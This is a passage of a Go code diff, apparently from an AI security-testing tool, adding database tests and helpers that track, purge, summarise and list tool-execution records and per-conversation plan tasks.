||||||
|
t.Fatalf("new row should remain: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,102 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"path/filepath"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/mcp"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestCancelOrphanedRunningToolExecutions(t *testing.T) {
|
||||||
|
dbPath := filepath.Join(t.TempDir(), "monitor.db")
|
||||||
|
db, err := NewDB(dbPath, zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewDB: %v", err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
|
||||||
|
start := time.Now().Add(-2 * time.Hour)
|
||||||
|
exec := &mcp.ToolExecution{
|
||||||
|
ID: "orphan-hydra",
|
||||||
|
ToolName: "hydra",
|
||||||
|
Arguments: map[string]interface{}{"target": "127.0.0.1"},
|
||||||
|
Status: "running",
|
||||||
|
StartTime: start,
|
||||||
|
}
|
||||||
|
if err := db.SaveToolExecution(exec); err != nil {
|
||||||
|
t.Fatalf("SaveToolExecution: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
end := time.Now()
|
||||||
|
n, err := db.CancelOrphanedRunningToolExecutions(end, "执行已中断(服务重启)")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("CancelOrphanedRunningToolExecutions: %v", err)
|
||||||
|
}
|
||||||
|
if n != 1 {
|
||||||
|
t.Fatalf("expected 1 row updated, got %d", n)
|
||||||
|
}
|
||||||
|
|
||||||
|
got, err := db.GetToolExecution("orphan-hydra")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("GetToolExecution: %v", err)
|
||||||
|
}
|
||||||
|
if got.Status != "orphaned" {
|
||||||
|
t.Fatalf("expected orphaned, got %s", got.Status)
|
||||||
|
}
|
||||||
|
if got.EndTime == nil {
|
||||||
|
t.Fatal("expected end_time to be set")
|
||||||
|
}
|
||||||
|
if got.Duration <= 0 {
|
||||||
|
t.Fatalf("expected positive duration, got %v", got.Duration)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestFinalizeStaleRunningToolExecutions_skipsActive(t *testing.T) {
|
||||||
|
dbPath := filepath.Join(t.TempDir(), "monitor.db")
|
||||||
|
db, err := NewDB(dbPath, zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewDB: %v", err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
|
||||||
|
now := time.Now()
|
||||||
|
oldStart := now.Add(-5 * time.Minute)
|
||||||
|
if err := db.SaveToolExecution(&mcp.ToolExecution{
|
||||||
|
ID: "stale", ToolName: "hydra", Status: "running", StartTime: oldStart,
|
||||||
|
}); err != nil {
|
||||||
|
t.Fatalf("SaveToolExecution stale: %v", err)
|
||||||
|
}
|
||||||
|
if err := db.SaveToolExecution(&mcp.ToolExecution{
|
||||||
|
ID: "active", ToolName: "hydra", Status: "running", StartTime: oldStart,
|
||||||
|
}); err != nil {
|
||||||
|
t.Fatalf("SaveToolExecution active: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
active := map[string]struct{}{"active": {}}
|
||||||
|
n, err := db.FinalizeStaleRunningToolExecutions(now, time.Minute, active, "执行已中断(会话已结束)")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("FinalizeStaleRunningToolExecutions: %v", err)
|
||||||
|
}
|
||||||
|
if n != 1 {
|
||||||
|
t.Fatalf("expected 1 stale row updated, got %d", n)
|
||||||
|
}
|
||||||
|
|
||||||
|
stale, err := db.GetToolExecution("stale")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("GetToolExecution stale: %v", err)
|
||||||
|
}
|
||||||
|
if stale.Status != "orphaned" {
|
||||||
|
t.Fatalf("stale expected orphaned, got %s", stale.Status)
|
||||||
|
}
|
||||||
|
|
||||||
|
activeExec, err := db.GetToolExecution("active")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("GetToolExecution active: %v", err)
|
||||||
|
}
|
||||||
|
if activeExec.Status != "running" {
|
||||||
|
t.Fatalf("active expected running, got %s", activeExec.Status)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,122 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"path/filepath"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/mcp"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestPurgeToolExecutionsBefore(t *testing.T) {
|
||||||
|
dbPath := filepath.Join(t.TempDir(), "monitor.db")
|
||||||
|
db, err := NewDB(dbPath, zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewDB: %v", err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
|
||||||
|
oldStart := time.Now().AddDate(0, 0, -100)
|
||||||
|
newStart := time.Now().AddDate(0, 0, -1)
|
||||||
|
|
||||||
|
oldExec := &mcp.ToolExecution{
|
||||||
|
ID: "old-completed",
|
||||||
|
ToolName: "nmap::scan",
|
||||||
|
Arguments: map[string]interface{}{"target": "127.0.0.1"},
|
||||||
|
Status: "completed",
|
||||||
|
StartTime: oldStart,
|
||||||
|
}
|
||||||
|
oldFailed := &mcp.ToolExecution{
|
||||||
|
ID: "old-failed",
|
||||||
|
ToolName: "nmap::scan",
|
||||||
|
Arguments: map[string]interface{}{"target": "127.0.0.1"},
|
||||||
|
Status: "failed",
|
||||||
|
Error: "timeout",
|
||||||
|
StartTime: oldStart,
|
||||||
|
}
|
||||||
|
newExec := &mcp.ToolExecution{
|
||||||
|
ID: "new-completed",
|
||||||
|
ToolName: "nmap::scan",
|
||||||
|
Arguments: map[string]interface{}{"target": "127.0.0.1"},
|
||||||
|
Status: "completed",
|
||||||
|
StartTime: newStart,
|
||||||
|
}
|
||||||
|
for _, exec := range []*mcp.ToolExecution{oldExec, oldFailed, newExec} {
|
||||||
|
if err := db.SaveToolExecution(exec); err != nil {
|
||||||
|
t.Fatalf("SaveToolExecution(%s): %v", exec.ID, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if err := db.UpdateToolStats("nmap::scan", 3, 2, 1, &newStart); err != nil {
|
||||||
|
t.Fatalf("UpdateToolStats: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
cutoff := time.Now().AddDate(0, 0, -90)
|
||||||
|
deleted, err := db.PurgeToolExecutionsBefore(cutoff)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("PurgeToolExecutionsBefore: %v", err)
|
||||||
|
}
|
||||||
|
if deleted != 2 {
|
||||||
|
t.Fatalf("deleted = %d, want 2", deleted)
|
||||||
|
}
|
||||||
|
|
||||||
|
if _, err := db.GetToolExecution("old-completed"); err == nil {
|
||||||
|
t.Fatal("old-completed should be deleted")
|
||||||
|
}
|
||||||
|
if _, err := db.GetToolExecution("old-failed"); err == nil {
|
||||||
|
t.Fatal("old-failed should be deleted")
|
||||||
|
}
|
||||||
|
if _, err := db.GetToolExecution("new-completed"); err != nil {
|
||||||
|
t.Fatalf("new-completed should remain: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
stats, err := db.LoadToolStats()
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("LoadToolStats: %v", err)
|
||||||
|
}
|
||||||
|
stat := stats["nmap::scan"]
|
||||||
|
if stat == nil {
|
||||||
|
t.Fatal("expected stats for nmap::scan")
|
||||||
|
}
|
||||||
|
if stat.TotalCalls != 1 || stat.SuccessCalls != 1 || stat.FailedCalls != 0 {
|
||||||
|
t.Fatalf("stats after purge = %+v, want total=1 success=1 failed=0", stat)
|
||||||
|
}
|
||||||
|
|
||||||
|
total, err := db.CountToolExecutions("", "")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("CountToolExecutions: %v", err)
|
||||||
|
}
|
||||||
|
if total != 1 {
|
||||||
|
t.Fatalf("remaining executions = %d, want 1", total)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestPurgeToolExecutionsBefore_zeroRetentionSkipsViaService(t *testing.T) {
|
||||||
|
// RetentionDaysEffective: 0 means no purge at service layer; DB method still works when called directly.
|
||||||
|
dbPath := filepath.Join(t.TempDir(), "monitor.db")
|
||||||
|
db, err := NewDB(dbPath, zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewDB: %v", err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
|
||||||
|
exec := &mcp.ToolExecution{
|
||||||
|
ID: "ancient",
|
||||||
|
ToolName: "curl::get",
|
||||||
|
Arguments: map[string]interface{}{},
|
||||||
|
Status: "completed",
|
||||||
|
StartTime: time.Now().AddDate(-1, 0, 0),
|
||||||
|
}
|
||||||
|
if err := db.SaveToolExecution(exec); err != nil {
|
||||||
|
t.Fatalf("SaveToolExecution: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
deleted, err := db.PurgeToolExecutionsBefore(time.Now())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("PurgeToolExecutionsBefore: %v", err)
|
||||||
|
}
|
||||||
|
if deleted != 1 {
|
||||||
|
t.Fatalf("deleted = %d, want 1", deleted)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,132 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"path/filepath"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/mcp"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestLoadToolStatsSummaryAndListPage(t *testing.T) {
|
||||||
|
dbPath := filepath.Join(t.TempDir(), "monitor-summary.db")
|
||||||
|
db, err := NewDB(dbPath, zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewDB: %v", err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
|
||||||
|
now := time.Now()
|
||||||
|
tools := []struct {
|
||||||
|
name string
|
||||||
|
calls int
|
||||||
|
ok int
|
||||||
|
fail int
|
||||||
|
result string
|
||||||
|
}{
|
||||||
|
{"alpha::run", 10, 9, 1, `{"content":[{"type":"text","text":"` + string(make([]byte, 64*1024)) + `"}]}`},
|
||||||
|
{"beta::scan", 5, 5, 0, `{"content":[{"type":"text","text":"ok"}]}`},
|
||||||
|
{"gamma::ping", 1, 1, 0, `{"content":[{"type":"text","text":"pong"}]}`},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tool := range tools {
|
||||||
|
if err := db.UpdateToolStats(tool.name, tool.calls, tool.ok, tool.fail, &now); err != nil {
|
||||||
|
t.Fatalf("UpdateToolStats(%s): %v", tool.name, err)
|
||||||
|
}
|
||||||
|
for j := 0; j < tool.calls; j++ {
|
||||||
|
exec := &mcp.ToolExecution{
|
||||||
|
ID: fmt.Sprintf("%s-exec-%d", tool.name, j),
|
||||||
|
ToolName: tool.name,
|
||||||
|
Arguments: map[string]interface{}{"n": j},
|
||||||
|
Status: "completed",
|
||||||
|
StartTime: now.Add(-time.Duration(j) * time.Minute),
|
||||||
|
Result: &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: tool.result}}},
|
||||||
|
}
|
||||||
|
end := exec.StartTime.Add(time.Second)
|
||||||
|
exec.EndTime = &end
|
||||||
|
exec.Duration = time.Second
|
||||||
|
if err := db.SaveToolExecution(exec); err != nil {
|
||||||
|
t.Fatalf("SaveToolExecution: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
summary, err := db.LoadToolStatsSummary(2)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("LoadToolStatsSummary: %v", err)
|
||||||
|
}
|
||||||
|
if summary.Summary.ToolCount != 3 {
|
||||||
|
t.Fatalf("toolCount = %d, want 3", summary.Summary.ToolCount)
|
||||||
|
}
|
||||||
|
if summary.Summary.TotalCalls != 16 {
|
||||||
|
t.Fatalf("totalCalls = %d, want 16", summary.Summary.TotalCalls)
|
||||||
|
}
|
||||||
|
if len(summary.TopTools) != 2 {
|
||||||
|
t.Fatalf("top tools = %d, want 2", len(summary.TopTools))
|
||||||
|
}
|
||||||
|
if summary.TopTools[0].ToolName != "alpha::run" {
|
||||||
|
t.Fatalf("top tool = %q, want alpha::run", summary.TopTools[0].ToolName)
|
||||||
|
}
|
||||||
|
|
||||||
|
list, err := db.LoadToolExecutionListPage(0, 5, "", "")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("LoadToolExecutionListPage: %v", err)
|
||||||
|
}
|
||||||
|
if len(list) != 5 {
|
||||||
|
t.Fatalf("list len = %d, want 5", len(list))
|
||||||
|
}
|
||||||
|
for _, exec := range list {
|
||||||
|
if exec.Arguments != nil || exec.Result != nil || exec.Error != "" {
|
||||||
|
t.Fatalf("expected lite execution row, got args/result/error on %s", exec.ID)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestLoadToolStatsSummaryDoesNotCountCancelledAsFailed(t *testing.T) {
|
||||||
|
dbPath := filepath.Join(t.TempDir(), "monitor-cancelled-summary.db")
|
||||||
|
db, err := NewDB(dbPath, zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewDB: %v", err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
|
||||||
|
now := time.Now()
|
||||||
|
for i, status := range []string{"completed", "cancelled", "failed"} {
|
||||||
|
exec := &mcp.ToolExecution{
|
||||||
|
ID: fmt.Sprintf("exec-%d", i),
|
||||||
|
ToolName: "exec",
|
||||||
|
Arguments: map[string]interface{}{},
|
||||||
|
Status: status,
|
||||||
|
StartTime: now.Add(time.Duration(i) * time.Second),
|
||||||
|
}
|
||||||
|
end := exec.StartTime.Add(time.Second)
|
||||||
|
exec.EndTime = &end
|
||||||
|
exec.Duration = time.Second
|
||||||
|
if err := db.SaveToolExecution(exec); err != nil {
|
||||||
|
t.Fatalf("SaveToolExecution(%s): %v", status, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
summary, err := db.LoadToolStatsSummary(1)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("LoadToolStatsSummary: %v", err)
|
||||||
|
}
|
||||||
|
if summary.Summary.TotalCalls != 3 {
|
||||||
|
t.Fatalf("totalCalls = %d, want 3", summary.Summary.TotalCalls)
|
||||||
|
}
|
||||||
|
if summary.Summary.SuccessCalls != 1 {
|
||||||
|
t.Fatalf("successCalls = %d, want 1", summary.Summary.SuccessCalls)
|
||||||
|
}
|
||||||
|
if summary.Summary.FailedCalls != 1 {
|
||||||
|
t.Fatalf("failedCalls = %d, want 1", summary.Summary.FailedCalls)
|
||||||
|
}
|
||||||
|
if len(summary.TopTools) != 1 {
|
||||||
|
t.Fatalf("top tools = %d, want 1", len(summary.TopTools))
|
||||||
|
}
|
||||||
|
if summary.TopTools[0].FailedCalls != 1 {
|
||||||
|
t.Fatalf("top tool failedCalls = %d, want 1", summary.TopTools[0].FailedCalls)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,125 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"sort"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ConversationPlanTask mirrors the public fields persisted by Eino plantask.
|
||||||
|
// Keeping the transport model here avoids coupling the HTTP layer to Eino's
|
||||||
|
// private task type.
|
||||||
|
type ConversationPlanTask struct {
|
||||||
|
ID string `json:"id"`
|
||||||
|
Subject string `json:"subject"`
|
||||||
|
Description string `json:"description,omitempty"`
|
||||||
|
Status string `json:"status"`
|
||||||
|
Blocks []string `json:"blocks,omitempty"`
|
||||||
|
BlockedBy []string `json:"blockedBy,omitempty"`
|
||||||
|
ActiveForm string `json:"activeForm,omitempty"`
|
||||||
|
Owner string `json:"owner,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// ListConversationPlanTasks returns the live Eino task board for one
|
||||||
|
// conversation. A missing task directory is the normal state for short or
|
||||||
|
// legacy conversations and therefore returns an empty list.
|
||||||
|
func (db *DB) ListConversationPlanTasks(conversationID string) ([]ConversationPlanTask, error) {
|
||||||
|
return db.ListConversationPlanTasksSince(conversationID, time.Time{})
|
||||||
|
}
|
||||||
|
|
||||||
|
// ListConversationPlanTasksSince limits the board to files written during the
|
||||||
|
// current agent run. The Eino backend intentionally keeps older task files for
|
||||||
|
// model continuity, but the conversation UI must not surface those files before
|
||||||
|
// the new run has called TaskCreate.
|
||||||
|
func (db *DB) ListConversationPlanTasksSince(conversationID string, since time.Time) ([]ConversationPlanTask, error) {
|
||||||
|
if db == nil {
|
||||||
|
return []ConversationPlanTask{}, nil
|
||||||
|
}
|
||||||
|
conversationID = strings.TrimSpace(conversationID)
|
||||||
|
if conversationID == "" {
|
||||||
|
return nil, fmt.Errorf("conversation id is required")
|
||||||
|
}
|
||||||
|
base := strings.TrimSpace(db.einoPlantaskBaseDir)
|
||||||
|
if base == "" {
|
||||||
|
return []ConversationPlanTask{}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
dir := filepath.Join(base, sanitizeConversationPathSegment(conversationID))
|
||||||
|
entries, err := os.ReadDir(dir)
|
||||||
|
if os.IsNotExist(err) {
|
||||||
|
return []ConversationPlanTask{}, nil
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("read conversation plan tasks: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
type numberedTask struct {
|
||||||
|
number int
|
||||||
|
task ConversationPlanTask
|
||||||
|
}
|
||||||
|
numbered := make([]numberedTask, 0, len(entries))
|
||||||
|
for _, entry := range entries {
|
||||||
|
if entry.IsDir() || filepath.Ext(entry.Name()) != ".json" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
idText := strings.TrimSuffix(entry.Name(), ".json")
|
||||||
|
number, parseErr := strconv.Atoi(idText)
|
||||||
|
if parseErr != nil || number < 1 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if !since.IsZero() {
|
||||||
|
info, infoErr := entry.Info()
|
||||||
|
if infoErr != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if info.ModTime().Before(since) {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
}
|
||||||
|
content, readErr := os.ReadFile(filepath.Join(dir, entry.Name()))
|
||||||
|
if readErr != nil {
|
||||||
|
if db.logger != nil {
|
||||||
|
db.logger.Debug("读取 Eino 任务文件失败",
|
||||||
|
zap.String("conversationId", conversationID),
|
||||||
|
zap.String("file", entry.Name()),
|
||||||
|
zap.Error(readErr))
|
||||||
|
}
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
var task ConversationPlanTask
|
||||||
|
if decodeErr := json.Unmarshal(content, &task); decodeErr != nil {
|
||||||
|
// TaskUpdate writes files concurrently with this read. A partial read
|
||||||
|
// is transient, so skip it and let the next poll recover.
|
||||||
|
if db.logger != nil {
|
||||||
|
db.logger.Debug("解析 Eino 任务文件失败",
|
||||||
|
zap.String("conversationId", conversationID),
|
||||||
|
zap.String("file", entry.Name()),
|
||||||
|
zap.Error(decodeErr))
|
||||||
|
}
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(task.ID) == "" {
|
||||||
|
task.ID = idText
|
||||||
|
}
|
||||||
|
if strings.EqualFold(strings.TrimSpace(task.Status), "deleted") {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
numbered = append(numbered, numberedTask{number: number, task: task})
|
||||||
|
}
|
||||||
|
|
||||||
|
sort.SliceStable(numbered, func(i, j int) bool {
|
||||||
|
return numbered[i].number < numbered[j].number
|
||||||
|
})
|
||||||
|
tasks := make([]ConversationPlanTask, 0, len(numbered))
|
||||||
|
for _, item := range numbered {
|
||||||
|
tasks = append(tasks, item.task)
|
||||||
|
}
|
||||||
|
return tasks, nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,104 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestListConversationPlanTasksSortedAndToleratesMissingDirectory(t *testing.T) {
|
||||||
|
tmp := t.TempDir()
|
||||||
|
db, err := NewDB(filepath.Join(tmp, "plantask.db"), zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewDB: %v", err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() { _ = db.Close() })
|
||||||
|
|
||||||
|
base := filepath.Join(tmp, "skills", ".eino", "plantask")
|
||||||
|
db.SetEinoConversationDirs(base, "", "", "")
|
||||||
|
missing, err := db.ListConversationPlanTasks("missing")
|
||||||
|
if err != nil || len(missing) != 0 {
|
||||||
|
t.Fatalf("missing task board = %#v, err=%v", missing, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
dir := filepath.Join(base, "conversation-1")
|
||||||
|
if err := os.MkdirAll(dir, 0o755); err != nil {
|
||||||
|
t.Fatalf("MkdirAll: %v", err)
|
||||||
|
}
|
||||||
|
files := map[string]string{
|
||||||
|
"10.json": `{"id":"10","subject":"最后检查","status":"pending"}`,
|
||||||
|
"2.json": `{"id":"2","subject":"实现接口","status":"in_progress","activeForm":"正在实现接口"}`,
|
||||||
|
"1.json": `{"id":"1","subject":"梳理需求","status":"completed"}`,
|
||||||
|
"bad.json": `{`,
|
||||||
|
}
|
||||||
|
for name, content := range files {
|
||||||
|
if err := os.WriteFile(filepath.Join(dir, name), []byte(content), 0o644); err != nil {
|
||||||
|
t.Fatalf("WriteFile(%s): %v", name, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if err := os.WriteFile(filepath.Join(dir, ".highwatermark"), []byte("10"), 0o644); err != nil {
|
||||||
|
t.Fatalf("WriteFile(highwatermark): %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks, err := db.ListConversationPlanTasks("conversation-1")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("ListConversationPlanTasks: %v", err)
|
||||||
|
}
|
||||||
|
if len(tasks) != 3 {
|
||||||
|
t.Fatalf("tasks = %#v, want 3", tasks)
|
||||||
|
}
|
||||||
|
if tasks[0].ID != "1" || tasks[1].ID != "2" || tasks[2].ID != "10" {
|
||||||
|
t.Fatalf("task order = %q, %q, %q", tasks[0].ID, tasks[1].ID, tasks[2].ID)
|
||||||
|
}
|
||||||
|
if tasks[1].ActiveForm != "正在实现接口" {
|
||||||
|
t.Fatalf("activeForm = %q", tasks[1].ActiveForm)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestListConversationPlanTasksSinceHidesPreviousRunUntilTaskCreate(t *testing.T) {
|
||||||
|
tmp := t.TempDir()
|
||||||
|
db, err := NewDB(filepath.Join(tmp, "plantask-current-run.db"), zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewDB: %v", err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() { _ = db.Close() })
|
||||||
|
|
||||||
|
base := filepath.Join(tmp, "plantask")
|
||||||
|
db.SetEinoConversationDirs(base, "", "", "")
|
||||||
|
dir := filepath.Join(base, "conversation-current-run")
|
||||||
|
if err := os.MkdirAll(dir, 0o755); err != nil {
|
||||||
|
t.Fatalf("MkdirAll: %v", err)
|
||||||
|
}
|
||||||
|
oldPath := filepath.Join(dir, "1.json")
|
||||||
|
if err := os.WriteFile(oldPath, []byte(`{"id":"1","subject":"上一轮任务","status":"in_progress"}`), 0o644); err != nil {
|
||||||
|
t.Fatalf("WriteFile(old): %v", err)
|
||||||
|
}
|
||||||
|
runStartedAt := time.Now().Add(-time.Second)
|
||||||
|
oldTime := runStartedAt.Add(-time.Minute)
|
||||||
|
if err := os.Chtimes(oldPath, oldTime, oldTime); err != nil {
|
||||||
|
t.Fatalf("Chtimes(old): %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks, err := db.ListConversationPlanTasksSince("conversation-current-run", runStartedAt)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("ListConversationPlanTasksSince(before TaskCreate): %v", err)
|
||||||
|
}
|
||||||
|
if len(tasks) != 0 {
|
||||||
|
t.Fatalf("stale tasks shown before current TaskCreate: %#v", tasks)
|
||||||
|
}
|
||||||
|
|
||||||
|
newPath := filepath.Join(dir, "2.json")
|
||||||
|
if err := os.WriteFile(newPath, []byte(`{"id":"2","subject":"本轮任务","status":"pending"}`), 0o644); err != nil {
|
||||||
|
t.Fatalf("WriteFile(new): %v", err)
|
||||||
|
}
|
||||||
|
tasks, err = db.ListConversationPlanTasksSince("conversation-current-run", runStartedAt)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("ListConversationPlanTasksSince(after TaskCreate): %v", err)
|
||||||
|
}
|
||||||
|
if len(tasks) != 1 || tasks[0].ID != "2" {
|
||||||
|
t.Fatalf("current tasks = %#v, want task 2 only", tasks)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
// DedupeConsecutiveProcessDetails 去掉相邻且语义相同的过程详情(使用 DB 中 data 列原始 JSON 作指纹,避免 map 序列化键序不稳定)。
|
||||||
|
func DedupeConsecutiveProcessDetails(rows []ProcessDetail) []ProcessDetail {
|
||||||
|
if len(rows) < 2 {
|
||||||
|
return rows
|
||||||
|
}
|
||||||
|
out := make([]ProcessDetail, 0, len(rows))
|
||||||
|
var lastKey string
|
||||||
|
for _, d := range rows {
|
||||||
|
key := processDetailRowKey(d)
|
||||||
|
if len(out) > 0 && key != "" && key == lastKey {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
out = append(out, d)
|
||||||
|
lastKey = key
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func processDetailRowKey(d ProcessDetail) string {
|
||||||
|
return fmt.Sprintf("%s\x00%s\x00%s", d.EventType, strings.TrimSpace(d.Message), d.Data)
|
||||||
|
}
|
||||||
@@ -0,0 +1,182 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"path/filepath"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestProcessDetailsSummaryDoesNotGuessIDLessResultsByOrder(t *testing.T) {
|
||||||
|
db, conversationID, messageID := setupProcessDetailsSummaryTest(t)
|
||||||
|
for _, id := range []string{"call-1", "call-2", "call-3", "call-4"} {
|
||||||
|
if err := db.AddProcessDetail(messageID, conversationID, "tool_call", "call", map[string]interface{}{
|
||||||
|
"toolName": "http-framework-test", "toolCallId": id,
|
||||||
|
}); err != nil {
|
||||||
|
t.Fatalf("AddProcessDetail(tool_call): %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
results := []map[string]interface{}{
|
||||||
|
{"toolName": "http-framework-test", "toolCallId": "call-1", "success": true},
|
||||||
|
{"toolName": "http-framework-test", "toolCallId": "call-2", "success": true},
|
||||||
|
{"toolName": "http-framework-test", "success": true},
|
||||||
|
{"toolName": "http-framework-test", "success": true},
|
||||||
|
}
|
||||||
|
var resultIDs []string
|
||||||
|
for _, result := range results {
|
||||||
|
resultID, err := db.AddProcessDetailWithID(messageID, conversationID, "tool_result", "result", result)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("AddProcessDetail(tool_result): %v", err)
|
||||||
|
}
|
||||||
|
resultIDs = append(resultIDs, resultID)
|
||||||
|
}
|
||||||
|
|
||||||
|
summary, err := db.GetProcessDetailsSummary(messageID)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("GetProcessDetailsSummary: %v", err)
|
||||||
|
}
|
||||||
|
if len(summary.ToolExecutions) != 6 {
|
||||||
|
t.Fatalf("tool executions = %d, want 6", len(summary.ToolExecutions))
|
||||||
|
}
|
||||||
|
for i, execution := range summary.ToolExecutions[:2] {
|
||||||
|
if execution.Status != "completed" {
|
||||||
|
t.Fatalf("execution %d status = %q, want completed", i, execution.Status)
|
||||||
|
}
|
||||||
|
if execution.ResultDetailID != resultIDs[i] {
|
||||||
|
t.Fatalf("execution %d result detail id = %q, want %q", i, execution.ResultDetailID, resultIDs[i])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for i, execution := range summary.ToolExecutions[2:4] {
|
||||||
|
if execution.Status != "result_missing" {
|
||||||
|
t.Fatalf("unmatched call %d status = %q, want result_missing", i, execution.Status)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for i, execution := range summary.ToolExecutions[4:] {
|
||||||
|
if execution.Status != "completed" || execution.ToolCallID != "" {
|
||||||
|
t.Fatalf("idless result %d = %#v, want separate completed result without toolCallId", i, execution)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestProcessDetailsSummaryPairsRepeatedToolCallIDsFIFO(t *testing.T) {
|
||||||
|
